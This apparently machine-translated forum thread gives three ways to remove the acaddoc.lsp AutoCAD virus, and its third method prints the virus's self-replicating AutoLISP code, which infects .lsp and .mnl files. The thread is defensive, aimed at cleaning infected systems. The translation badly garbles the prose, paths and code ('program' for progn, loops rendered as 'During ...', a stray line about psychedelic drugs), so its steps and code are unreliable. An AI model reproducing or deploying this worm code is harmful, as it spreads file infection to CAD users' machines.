Make sure you are not on a LAN or USB flash drive. I won this, too. Is it clear or not? I collected it myself.

Method one

The list entered by acaddoc.lsp is defective (transferred from love space). Tuesday, April 7, 2009 is 1 1: 14. This is a new virus, and the previous solution (1.lps changed its name to acaddoc.lsp) can't solve it. I searched online and found a post related to Baidu space.

The original post is as follows:

Today, I saw another netizen in the Q group asking to delete the CAD virus, saying that it could not be solved with the killing tool, so I asked him to pass the virus file to me.

Open the file and find that the program code in this "acaddoc.lsp" file is different from the previous "acaddoc.lsp" virus file.

This virus file will automatically search all "*". Mnl "file and" *. Lsp "file is in the path supported by CAD. Write the virus code (the content of "acaddoc.lsp" file) into "*". Lsp "file and write down the loading path of" * ". lsp" file into "*。 Mnl "file. Meanwhile, the linear command "line", the external reference management command "xref" and the decomposition (explosion) command "explode" cannot be used.

After the CAD system is infected with virus files, it is impossible to remove the virus simply by searching and deleting the "acaddoc.lsp" file. Because all the *. Lsp "file has been modified, all" *. The lsp file is a virus file.

Solution 1:

(1), close CAD.

② Search and delete all "acaddoc.lsp" files.

(3) Uninstall CAD (it must be uninstalled cleanly, and enter the user directory of drive C to delete the uninstalled CAD files), and then reinstall CAD.

Solution 2:

(1), close CAD.

② Search and delete all "acaddoc.lsp" files.

③ Find a computer that has not been damaged by CAD virus and installed the same version of CAD, and copy all its "*". Lsp "file and" *. Mnl "file is copied to this computer to overwrite the original file (including related files in the user directory of drive C).

Prevention of CAD virus;

After installing the CAD system, before being infected by the virus, setting the attributes of all files in the CAD directory to read-only can reduce the probability of poisoning. (The effective rate of this method is 99.999%)

Attachment: c: \ documents and settings \ ×× \ application data \ Autodesk \ AutoCAD 200× \ r× \

Where ××× is the user name when you log in to the system, and 200× and R×.× are the version and version code of CAD respectively. (Note: the directory C:\Documents and Settings\ is a system hidden folder)

Reposting address:/Liu Hui bin1984/blog/item/fbe64723340a543ad34deb3.html.

Method 2

When CAD starts running, there will be a series of functions, which will generate the file processing method of acaddoc.lsp. I used it, and the method was very good, so I turned around.

The following is my personal anti-virus experience after being infected with acaddoc.lsp virus.

At first, I also found a lot of so-called CAD virus killing software and acaddoc.lsp killing software on the Internet. . . It's no use trying. Later, some characteristics of lsp virus introduced on the Internet are really effective through personal experiments. I would like to share it with you here, hoping to solve some problems for you.

Let's get down to business. Anti-virus steps are as follows:

1, completely delete acaddoc.lsp (including hidden folders)-nonsense, hehe.

2. delete acaddoc.lsp and acadapq.lsp under c: \ documents and settings \ administrator \ application data \ Autodesk \ AutoCAD 2006 \ r16.2 \ CHS \ support.

3. Delete C: \ Documents and Settings \ Administrator \ Application. Acad.mnl, acetmain.mnl and AecArchXOE.mnl under data \ Autodesk \ AutoCAD 2006 \ r16.2 \ CHS \ support.

4. Delete all * * * *. LSP under c: \ program files \ AutoCAD 2006 \ support, and the 2006 edition of * *** 10 * * * * *. The psychedelic drugs I used.

5. Copy the two files in the following attached alsp to C: \ Documents and Settings \ Administrator \ Application Data \ Autodesk \ AutoCAD 2006 \ r16.2 \ CHS \ Support, and change them to read-only.

6. Copy the following attached three files in mnl to C: \ Documents and Settings \ Administrator \ Application Data \ Autodesk \ AutoCAD 2006 \ r16.2 \ CHS \ Support, and change them to read-only.

7. Copy the ten files in the attached LSP to C: \ program files \ AutoCAD 2006 \ support and make them read-only.

After the above steps, you can use it with confidence.

Method 3

There are many viruses in CAD, but they are all similar. Now the virus ACADDOC. LSP appears for antivirus. There is no need to reinstall CAD.

1, find more ACADDOC. The LSP in the folder means that you are poisoned.

2. close the CAD program.

3. Search *. fas *。 lsp *。 mnl *。 Arx file, and delete all files except the CAD installation directory.

4. Check the modification time of the CAD installation directory file and delete the virus code in the recent file. (Open with Notepad)

5. Change all *. fas *。 lsp *。 mnl *。 Set the arx file in the CAD installation directory as read-only.

Description:

1，ACADDOC。 LSP virus infects 3d.lsp; X: \ program files \ AutoCAD 20 * * \ support under the folder; 3darray.lspacad 20 10 . LSP； acad 20 10 doc . LSP； Acadinfo. lspai _ utils. lspatterdef. lspeedge.lspmvsetup.lsp sample configuration file util.lsp file.

2. The virus code to be deleted is located at the end of the file, as follows:

(set flag x t)

(set bz "(set flag x t)")

(Telford app (source target BZ/flagflag1wjmwjm1text)

(Set flag to zero)

(set the flag 1 t)

(if (findfile target)

(program

(setq wjm 1 (open target "r"))

(while (setq text (read line wjm 1))

(if (= text bz) (setq flag 1 nil))

); During ...

(close wjm 1)

); progn

); if

(If flag 1

(program

(setq wjm (open source "r"))

(setq wjm 1 (open target "a"))

(Write line (chr 13) wjm 1)

(while (setq text (read-line wjm))

(If (= text bz) (set flag T))

(If the tag

(program

(Write line text wjm 1)

); progn

); if

); During ...

(close wjm 1)

(close wjm)

); progn

); if

); Defuen

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl "))

(setq acadmnlpath(VL- file name-directory acadmnl))

(setq mnlfilelist(VL-directory-files acadmnlpath " *。 mnl "))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe "))

(setq acad path(VL-filename-directory acad exe))

(setq support (strcat acadpath "\\support "))

(setq lspfilelist(VL-directory-files support " *。 lsp "))

(setq lspfilelist (list "acaddoc.lsp"))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname "))

(setq dwgpath (findfile dwgname))

(if dwgpath

(program

(setq acaddocpath(VL-filename-directory DWG path))

(setq acaddocfile(strcat acaddocpath " \ \ acad doc . LSP "))

(setq mnln 0)

(while(& lt； mnln mnlnum)

(setqmnl filename (strcat acadmnlpath "\" (the nth mnln mnlfilelist)).

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln ( 1+ mnln))

); During ...

(set lspn 0)

(while(& lt； lspn lspnum)

(setq LSP filename(strcat support " \ "(n lspn LSP filelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn ( 1+ lspn))

); During ...

); progn

); if

(setq mnln 0)

(while(& lt； mnln mnlnum)

(setqmnl filename (strcat acadmnlpath "\" (the nth mnln mnlfilelist)).

(setq mnln 1 0)

(while(& lt； mnln 1 mnlnum)

(setq mnlfilename 1(strcat acadmnlpath " \ "(nth mnln 1 mnlfilelist)))

(app mnl filename mnl filename 1 BZ)

(setq mnln 1( 1+mnln 1))

); During ...

(setq lspn 1 0)

(while(& lt； lspn 1 lspnum)

(setq LSP filename1(strcat support "\" (the nth lspn 1 lspfilelist)))

(app mnl filename LSP filename 1 BZ)

(setq lspn 1( 1+lspn 1))

); During ...

(setq mnln ( 1+ mnln))

); During ...

(set lspn 0)

(while(& lt； lspn lspnum)

(setq LSP filename(strcat support " \ "(n lspn LSP filelist)))

(setq lspn 1 0)

(while(& lt； lspn 1 lspnum)

(setq LSP filename1(strcat support "\" (the nth lspn 1 lspfilelist)))

(application LSP filename LSP filename1BZ)

(setq lspn 1( 1+lspn 1))

); During ...

(setq mnln 1 0)

(while(& lt； mnln 1 mnlnum)

(setq mnlfilename 1(strcat acadmnlpath " \ "(nth mnln 1 mnlfilelist)))

(apply LSP file name mnl file name 1 bz)

(setq mnln 1( 1+mnln 1))

); During ...

(setq lspn ( 1+ lspn))

(load "acadapq")

(princ)

Join the 360 Steering Committee to participate in national security! Forum moderator expansion, welcome to join!

Kaneski

Gold coin: 65

Experience: 99

Grade: Pre-school

Advantages: None.

Text message

[Reply to this building] [Quote] [Report] 2010-06-10/09: 27 Second floor!

Han mei Xue song

Gold coin: 15

Experience: 5 1

Grade: Kindergarten

Advantages: None.

Text message

[Reply to this building] [Offer] [Report] 2010-1-kloc-0/-0/003:14 on the 3rd floor. This method is not acceptable.

Ai Mou 108

Gold coin: 15

Experience: 55

Grade: Kindergarten

Advantages: None.

Text message

[Reply to this building] [Quote] [Report] 2010-12-0710: 59 on the 4th floor has been solved! Thanks to the 360 forum! Thanks to qq at the same time! If qq hadn't made a hard decision, I wouldn't have used 360, and I wouldn't have known about the 360 forum.

The landlord provided us with a solution, but it should be noted that the virus infected not only the files in the installation directory. If only the code of infected files in the installation directory is cleared, it is invalid. This is also the reason why many friends say this method doesn't work. It's also infected.

*. c: MNL file under \ documents and settings \ user name \ application data \ Autodesk \ AutoCAD 2006 \ r16.2 \ CHS \ support. Need one and clear the code above.

This question has been bothering me for months, damn it. Non-toxic and light in weight. . .